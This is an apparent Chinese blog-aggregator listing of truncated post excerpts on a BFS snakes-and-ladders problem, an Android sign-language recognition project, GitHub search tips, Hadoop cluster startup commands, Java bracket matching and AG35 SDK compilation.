909. 蛇梯棋 题目-中等难度示例1. bfs 题目-中等难度 给你一个大小为 n x n 的整数矩阵 board &#xff0c;方格按从 1 到 n2 编号&#xff0c;编号遵循 转行交替方式 &#xff0c;从左下角开始 &#xff08;即&#xff0c;从 board[n - 1][0] 开始&#xff09;每一行交替方向…

基于Android+OpenCV+CNN+Keras的智能手语数字实时翻译——深度学习算法应用(含Python、ipynb工程源码)+数据集(四)

目录 前言总体设计系统整体结构图系统流程图 运行环境模块实现1. 数据预处理2. 数据增强3. 模型构建4. 模型训练及保存5. 模型评估6. 模型测试1&#xff09;权限注册2&#xff09;模型导入3&#xff09;总体模型构建4&#xff09;处理视频中的预览帧数据5&#xff09;处理图片数…

github搜索技巧

指定语言 language:java 比如我要找用java写的含有blog的内容 搜索项目名称包含关键词的内容 vue in:name 其他如项目描述跟项目文档&#xff0c;如下 组合使用 vue in:name,description,readme 根据Star 或者fork的数量来查找 总结 springboot vue stars:>1000 p…

程序启动-大数据平台搭建

1、启动zookeeper集群 /home/cluster/zookeeper.sh start /home/cluster/zookeeper.sh stop 2、启动hadoop和yarn集群 /home/cluster/hadoop-3.3.6/sbin/start-dfs.sh /home/cluster/hadoop-3.3.6/sbin/start-yarn.sh /home/cluster/hadoop-3.3.6/sbin/stop-dfs.sh /home/clust…

Java括号匹配

目录 一、题目描述 二、题解 一、题目描述 给定一个只包括 (&#xff0c;)&#xff0c;{&#xff0c;}&#xff0c;[&#xff0c;] 的字符串 s &#xff0c;判断字符串是否有效。 有效字符串需满足&#xff1a; 左括号必须用相同类型的右括号闭合。左括号必须以正确的顺序闭…

AG35学习笔记(二):安装编译SDK、CMakeLists编译app、Scons编译server

目录 一、概述二、安装SDK2.1 网盘SDK - 权限不够2.2 bj41 - 需要交叉source2.3 mullen - relocate_sdk.py路径有误 三、编译SDK3.1 /bin/sh: 1: gcc: not found3.2 curses.h: No such file or directory 四、CMakeLists - 编译app4.1 cmake - 项目构建4.2 make - 项目编译4.3 …